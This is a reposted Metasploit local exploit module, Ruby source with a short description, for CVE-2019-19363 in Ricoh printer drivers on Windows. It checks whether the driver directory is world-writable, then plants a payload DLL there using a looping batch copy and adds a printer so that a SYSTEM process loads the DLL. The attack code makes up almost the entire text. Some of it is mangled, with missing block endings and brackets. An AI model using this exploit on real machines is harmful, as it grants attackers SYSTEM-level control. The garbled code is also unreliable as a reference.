Ricoh Driver Privilege Escalation

This Metasploit module leverages the prnmngr.vbs script to add and delete printers. Multiple runs of this module may be required given successful exploitation is time-sensitive.

MD5 | fe0a9a6351caebe61c5e0ce2e0b572ad

# This module requires Metasploit:
# Current source:

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Exploit::FileDropper

def initialize(info = {})
'Name' => 'Ricoh Driver Privilege Escalation',
'Description' => %q(
Various Ricoh printer drivers allow escalation of
privileges on Windows systems.

For vulnerable drivers, a low-privileged user can
read/write files within the `RICOH_DRV` directory
and its subdirectories.

`PrintIsolationHost.exe`, a Windows process running
as NT AUTHORITY\SYSTEM, loads driver-specific DLLs
during the installation of a printer. A user can
elevate to SYSTEM by writing a malicious DLL to
the vulnerable driver directory and adding a new
printer with a vulnerable driver.

This module leverages the `prnmngr.vbs` script
to add and delete printers. Multiple runs of this
module may be required given successful exploitation
is time-sensitive.
'License' => MSF_LICENSE,
'Author' => [
'Alexander Pudwill', # discovery & PoC
'Pentagrid AG', # PoC
'Shelby Pace' # msf module
'References' =>
[ 'CVE', '2019-19363'],
[ 'URL', '']
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'Payload' =>
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
'Notes' =>
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ UNRELIABLE_SESSION ],
'Stability' => [ SERVICE_RESOURCE_LOSS ]
'DisclosureDate' => "Jan 22 2020",
'DefaultTarget' => 0

self.needs_cleanup = true

register_advanced_options(['ForceExploit', [ false, 'Override check result', false ])

def check
dir_name = "C:\\ProgramData\\RICOH_DRV"

return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name)
driver_names = dir(dir_name)

return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length

vulnerable = false
driver_names.each do |driver_name|
full_path = "#{dir_name}\\#{driver_name}\\_common\\dlz"
next unless directory?(full_path)
@driver_path = full_path

res = cmd_exec("icacls \"#{@driver_path}\"")
next unless res.include?('Everyone:')
next unless res.match(/\(F\)/)

vulnerable = true

return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable

vprint_status("Vulnerable driver directory: #{@driver_path}")
CheckCode::Appears('Ricoh driver directory has full permissions')

def add_printer(driver_name)
fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)

dll_data = generate_payload_dll
dll_path = "#{@driver_path}\\headerfooter.dll"

temp_path = expand_path('%TEMP%\\headerfooter.dll')
vprint_status("Writing dll to #{temp_path}")

bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")
cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""
bat_file = <<~HEREDOC
#{cp_cmd} && goto :repeat

write_file(bat_file_path, bat_file)
write_file(temp_path, dll_data)
register_files_for_cleanup(bat_file_path, temp_path)

script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""
bat_cmd = "cmd.exe /c \"#{bat_file_path}\""
print_status("Adding printer #{@printer_name}...")
client.sys.process.execute(script_cmd, nil, { 'Hidden' => true })
vprint_status("Executing script...")
rescue Rex::Post::Meterpreter::RequestError => e
e_log("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")

def exploit
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'

if sysinfo['Architecture'] != payload.arch.first
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')

@driver_path = ''
unless check == CheckCode::Appears || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override')

@printer_name = Rex::Text.rand_text_alpha(5..9)
@script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs"
drvr_name = @driver_path.split('\\')
drvr_name_idx = drvr_name.index('RICOH_DRV') + 1
drvr_name = drvr_name[drvr_name_idx]


def cleanup
print_status("Deleting printer #{@printer_name}")
delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })

Related Posts